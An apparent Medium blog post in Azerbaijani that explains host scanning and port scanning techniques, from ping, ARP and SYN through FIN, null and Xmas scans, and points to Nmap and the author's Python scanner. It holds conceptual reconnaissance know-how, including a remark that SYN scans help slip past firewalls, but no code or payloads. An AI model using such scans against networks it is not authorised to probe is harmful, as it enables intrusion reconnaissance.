            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*0T-djrLPNQYoNQ4bo2GEEw.jpeg" /></figure><p>Bu məqalədə, bu iki texnikanın nə olduğunu, fərqlərini və müxtəlif metodlarını ətraflı şəkildə izah edəcəyəm.</p><h3>Host Scanning və Port Scanning Nədir?</h3><p>Təsəvvür edin ki, bir oğru bir binadakı evlərdən birində və ya bir neçə evdə oğurluq etmək istəyir. İlk olaraq, oğru hansı evlərdə yaşayış olduğunu öyrənməlidir. Çünki boş bir evdən heç nə əldə etmək mümkün deyil. Host scanning də məhz bunu edir: şəbəkədəki cihazların və ya IP ünvanlarının aktiv (up) olub-olmadığını yoxlayır.</p><p>Daha sonra, oğru hansı evlərin dolu olduğunu öyrəndikdən sonra bu evlərə daxil olmaq üçün bir yol (açıq qapı və ya pəncərə) tapmalıdır. Port scanning də eyni şəkildə fəaliyyət göstərir: hansı portların açıq olduğunu müəyyən edir.</p><h3>Host Scanning Nədir?</h3><p>Host scanning, şəbəkədəki aktiv cihazları aşkar etmək üçün istifadə olunan texnikadır. Şəbəkə administratorları bu metodu cihazların aktiv olub-olmadığını yoxlamaq, şəbəkə resurslarının vəziyyətini anlamaq və potensial təhlükəsizlik boşluqlarını tapmaq məqsədilə istifadə edirlər. Host scanning vasitəsilə şəbəkədəki cihazların IP ünvanları, açıq portları və şəbəkə xidmətləri haqqında məlumat əldə edilir.</p><h4>Host Scan Üsulları</h4><p><strong>Ping Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: ICMP sorğuları göndərilərək cihazların mövcudluğu yoxlanılır. “Echo request” paketləri göndərilir və “echo reply” cavabı gözlənilir. Əgər cavab alınırsa, cihaz aktivdir.</li><li><strong>Məhdudiyyətlər</strong>: Bəzi firewall-lar və təhlükəsizlik sistemləri ICMP trafikini bloklayır.</li></ul><p><strong>ARP Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: Ethernet şəbəkələrində ARP sorğuları göndərilərək aktiv cihazlar aşkar edilir. Yalnız yerli şəbəkələrdə işləyir.</li><li><strong>Üstünlükləri</strong>: Sürətlidir və firewall-lar tərəfindən bloklanmaz.</li></ul><p><strong>SYN Scan (Half-Open Scan)</strong>:</p><ul><li><strong>İş prinsipi</strong>: TCP portlarına SYN bayrağı ilə sorğu göndərilir. Əgər SYN/ACK cavabı alınırsa, cihaz aktivdir.</li><li><strong>Təhlükəsizlik baxımından</strong>: Bu metod daha az görünürlük yaradır, çünki əlaqə tam qurulmur.</li></ul><p><strong>UDP Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: UDP paketləri göndərilərək portun vəziyyəti yoxlanılır. Cavab alınarsa, port açıqdır.</li><li><strong>Çətinliklər</strong>: UDP scanning yavaş ola bilər, çünki cavablar TCP-dən fərqli olaraq daha azdır.</li></ul><p><strong>Traceroute Discovery</strong>:</p><ul><li><strong>İş prinsipi</strong>: Paketlərin hop-hop keçidi izlənərək şəbəkə yolunun təyini edilir.</li><li><strong>İstifadə məqsədləri</strong>: Şəbəkə topologiyasını anlamaq və şəbəkə performansını izləmək üçün istifadə olunur.</li></ul><h3>Port Scanning Nədir?</h3><p>Port scanning, cihazlarda xidmətlərin işlədiyi portların vəziyyətini aşkar etmək üçün istifadə olunur. Portların vəziyyəti (açıq, bağlı və ya filtr olunmuş) təyin edilir. Açıq portlar şəbəkədə hansı xidmətlərin işlədiyini göstərir və təhlükəsizlik riski yarada bilər.</p><h4>Port Scan Üsulları</h4><h4>SYN Scan (Half-Open Scan):</h4><ul><li><strong>İş prinsipi</strong>: SYN bayrağı ilə TCP sorğuları göndərilir. SYN/ACK cavabı alınarsa, port açıqdır.</li><li><strong>Üstünlükləri</strong>: Çox sürətli və firewall-lardan yan keçmək üçün əlverişlidir.</li></ul><p><strong>Connect Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: Tam TCP əlaqəsi qurularaq portun vəziyyəti yoxlanılır.</li><li><strong>Çətinliklər</strong>: Daha çox resurs tələb edir və izlənməsi daha asandır, çünki tam əlaqə qurulur.</li></ul><p><strong>UDP Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: UDP paketləri göndərilərək portların vəziyyəti yoxlanılır.</li><li><strong>Məhdudiyyətlər</strong>: UDP scanning daha yavaş və qeyri-dəqiq ola bilər.</li></ul><p><strong>ACK Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: ACK bayrağı ilə TCP sorğuları göndərilərək portların filtr olunub-olunmadığı müəyyən edilir.</li></ul><p><strong>FIN Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: TCP paketləri ilə FIN bayrağı göndərilərək açıq portlar təyin edilir.</li><li><strong>Tətbiq sahələri</strong>: Təhlükəsizlik yoxlamaları və zəifliklərin araşdırılması.</li></ul><p><strong>Null Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: Heç bir TCP bayrağı olmayan boş paketlər göndərilərək portların filtr olunub-olunmadığı təyin edilir.</li></ul><p><strong>Xmas Scan</strong>:</p><ul><li><strong>İş prinsipi</strong>: Bir neçə TCP bayrağını eyni anda aktiv edərək portların vəziyyəti aşkar edilir.</li></ul><h3>Nmap</h3><p>Nmap yuxarıda sadaladığım scanları yerinə yetirmək üçün hazırlanmış bir tool-dur. Nmap haqqında daha ətrfalı məlumatı <a href="http://nmap.org/">nmap.org</a> saytından əldə edə bilərsiniz.</p><h3>Praktik Host Scanning: Python Host Scanner Skripti</h3><p>Host scanning texnikasını praktiki şəkildə tətbiq etmək istəyirsinizsə, mənim GitHub səhifəmdə yerləşdirdiyim Python dilində yazılmış host scanner skriptinə baxa bilərsiniz. <a href="https://github.com/XAPRAVKA/HOST-SCANNER"><strong>HOST-SCANNER</strong></a></p><p>Bu skript, şəbəkədəki aktiv cihazları aşkar etmək üçün istifadə oluna bilər.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=187631e41abd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>